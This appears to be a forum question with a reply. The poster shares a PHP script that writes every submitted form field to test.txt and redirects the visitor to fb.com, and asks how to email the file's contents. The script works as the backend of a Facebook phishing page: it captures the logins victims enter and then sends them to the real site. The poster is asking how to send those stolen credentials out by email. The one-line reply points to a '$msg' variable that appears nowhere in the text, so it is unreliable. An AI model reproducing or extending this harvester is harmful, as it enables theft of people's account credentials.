How can i send the contents of test.txt to an email, anyone plss.
<?php
header("Location: http://fb.com/ ");
$handle = fopen("test.txt", "a");
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>
How can i send the contents of test.txt to an email, anyone plss.
Try This -->
Use $msg variable in your mail body.